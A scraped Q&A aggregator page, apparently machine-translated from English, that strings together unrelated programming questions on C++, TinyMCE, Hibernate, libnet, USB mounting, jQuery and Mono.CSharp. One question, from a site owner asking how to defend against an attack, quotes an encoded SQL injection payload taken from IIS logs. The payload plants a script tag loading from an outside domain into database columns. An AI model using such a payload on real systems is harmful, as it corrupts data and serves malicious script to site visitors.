从堆栈中手动删除对象是否是错误/非法的C++,或者有可接受的情况?
编辑
Constructor(pointer parent, pointer left, pointer right):parent_(parent),left_(left), right_(right)
{ }
~Constructor()
{
delete parent_;
delete left_;
delete right_;
}
main()
{
Object parent;
Object left;
Object right;
Constructor c(&parent,&left,&right);
}
Run Code Online (Sandbox Code Playgroud)
有没有办法检查对象是在堆上还是堆栈上?
我有一个使用TinyMce的Web应用程序,允许进行富文本编辑.我的一些客户急于让它在iPad上运行(它不支持contenteditable,因此TinyMce不起作用)
目前我唯一的选择是:
我真的很想找到一些可行的解决方案.有没有富文本编辑器这样的东西,不需要满足?或者有没有人有一个我没想过的聪明主意?
提前致谢
安迪
我使用Spring + Hibernate进行操作,需要创建和更新数十万个项目.像这样的东西:
{
...
Foo foo = fooDAO.get(...);
for (int i=0; i<500000; i++) {
Bar bar = barDAO.load(i);
if (bar.needsModification() && foo.foo()) {
bar.setWhatever("new whatever");
barDAO.update(bar);
// commit here
Baz baz = new Baz();
bazDAO.create(baz);
// if (i % 100 == 0), clear
}
}
}
Run Code Online (Sandbox Code Playgroud)
为了保护自己不要丢失中间的变化,我会在以下情况后立即提交更改barDAO.update(bar):
HibernateTransactionManager transactionManager = ...; // injected by Spring
DefaultTransactionDefinition def = new DefaultTransactionDefinition();
def.setPropagationBehavior(TransactionDefinition.PROPAGATION_REQUIRED);
TransactionStatus transactionStatus = transactionManager.getTransaction(def);
transactionManager.commit(transactionStatus);
Run Code Online (Sandbox Code Playgroud)
此时我不得不说整个进程在包含的事务中运行org.springframework.orm.hibernate3.support.ExtendedOpenSessionInViewFilter(是的,这是一个webapp).
这一切都运行良好,但有一个例外:在几千次更新/提交之后,整个过程变得非常慢,很可能是由于内存因Spring/Hibernate保留的不断增加的对象而膨胀.
在仅限Hibernate的环境中,通过调用可以轻松解决这个问题org.hibernate.Session#clear().
现在,问题:
clear()?它的性能成本是否很高? …当我通过sudo apt-get install libnet1安装libnet时,程序找不到libnet.h,我也无法在/ usr/local/include或/ usr/include中找到它.所以我下载了libnet并制作它,但我得到了错误
make -C lib/ lib
make[1]: Entering director `/home/liuqiang/workspace/libnet/lib'
gcc -O2 -Wall -Werror -Wno-unused -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -g -I../include -Iinclude -DTARGET_LINUX -c -o core/config.o core/config.c
cc1: warnings being treated as errors
core/config.c: In function ‘__libnet_internal__seek_section’:
core/config.c:87: error: ignoring return value of ‘fgets’, declared with attribute warn_unused_result
core/config.c: In function ‘__libnet_internal__get_setting’:
core/config.c:111: error: ignoring return value of ‘fgets’, declared with attribute warn_unused_result
make[1]: *** [core/config.o] error 1
make[1]:Leaving directory `/home/liuqiang/workspace/libnet/lib'
make: *** [lib] error 2
Run Code Online (Sandbox Code Playgroud) 我们制造和销售我们的用户有时希望通过多个USB集线器大量连接到他们的计算机的设备.它是一种USB复合设备,具有人机界面(HID)和大容量存储(MSD)接口.Windows会自动挂载每个设备的文件系统,直到"Z:"处的字母用完为止.
我可以使用PnP配置管理器和设备安装功能的组合来遍历设备树并获取HID和USBSTOR接口的设备实例标识符.通过USB存储设备路径,我也可以获得磁盘编号(即\\.\PhysicalDrive1).
下一步是在我们与设备通信时通过循环输出驱动器号来根据需要安装这些磁盘,或者更好的是,将它们安装在C:驱动器上的临时目录中.我在尝试使用困难DefineDosDevice此任务并不能取得进展与SetVolumeMountPoint因为设备不具有卷GUID,直到它被安装.这提出了鸡和蛋的问题.
如果只有我们的客户使用unix!
我们有一个显然受到攻击的调查网站.症状与本网站的以下页面中描述的症状相同: ASP.NET网站上的XSS攻击.
我在IIS日志中发现了多个包含恶意代码的条目:
</ title> <script src = http:// google-stats49.info/ur.php>.
以下是其中一个IIS日志条目的cs-uri-query字段值的示例.
surveyID = 91 +更新+ usd_ResponseDetails +设定+类别名称= REPLACE(铸造(类别名称+为+ VARCHAR(8000)),流延(CHAR(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar( 116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar( 116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar( 58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar( 115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar( 102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar( 60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+为+ VARCHAR(8000)) ,铸(CHAR(32)+ AS + VARCHAR(8))) -
我不明白上面的代码是如何工作的,但显然这是在查询字符串中发送的内容,以破坏我们的数据库表中的列.我们暂时关闭了我们的网站.我们可以从数据库中删除脚本,但这并不能防止它在我们将网站重新联机时再次损坏.
有没有人对如何防止这种情况发生任何建议?
为了继续我优雅的解决方案系列,我试图找出如何以更好的方式做到这一点.
我循环遍历所有a标签并尝试修改href.
这段代码有效,但看起来很草率,很想知道如何更有效地做到这一点.
$('a').each(function(){
x=$(this).attr('href').replace(/mls\_number/i,'interior=yes&mls_number');
$(this).attr('href', x);
});
Run Code Online (Sandbox Code Playgroud) 我正在使用 Mono.CSharp 库来发出代码。在关于 SO (http://stackoverflow.com/questions/3407318/mono-compiler-as-a-service-mcs) 的另一个问题之后,我设法让 Mono.CSharp 在 Microsoft CLR 上正确评估。
为了在我的应用程序中增加灵活性,我希望能够在运行时自定义查询 - 通过允许用户提供 LINQ 查询作为字符串,该字符串在执行时被解析并命中数据库。
鉴于此基本代码片段:
IQueryable<Contact> contacts = GetContacts();
string query = "from contact in contacts
where contact.Name == \"name\"
select contact";
var queryableResult = Mono.CSharp.Evaluator.Evaluate(query);
Run Code Online (Sandbox Code Playgroud)
如何将联系人变量“注入”到 Mono.CSharp.Evaluator 中以作为查询的一部分进行评估?我会以正确的方式解决这个问题吗?最后,我需要结果表达式或来自“查询”字符串的 IQueryable。
可能重复:
使用jQuery获取查询字符串
如何使用jQuery将查询字符串的值获取到文本框中?
让我们说网址是http://intranet/page1.php?q =你好
我希望"你好"在文本框中.
javascript ×3
jquery ×2
asp-classic ×1
c# ×1
c++ ×1
disk ×1
filesystems ×1
hibernate ×1
ipad ×1
java ×1
libnet ×1
linq ×1
mount ×1
orm ×1
query-string ×1
richtext ×1
spring ×1
sql-server ×1
tinymce ×1
ubuntu ×1
usb ×1
winapi ×1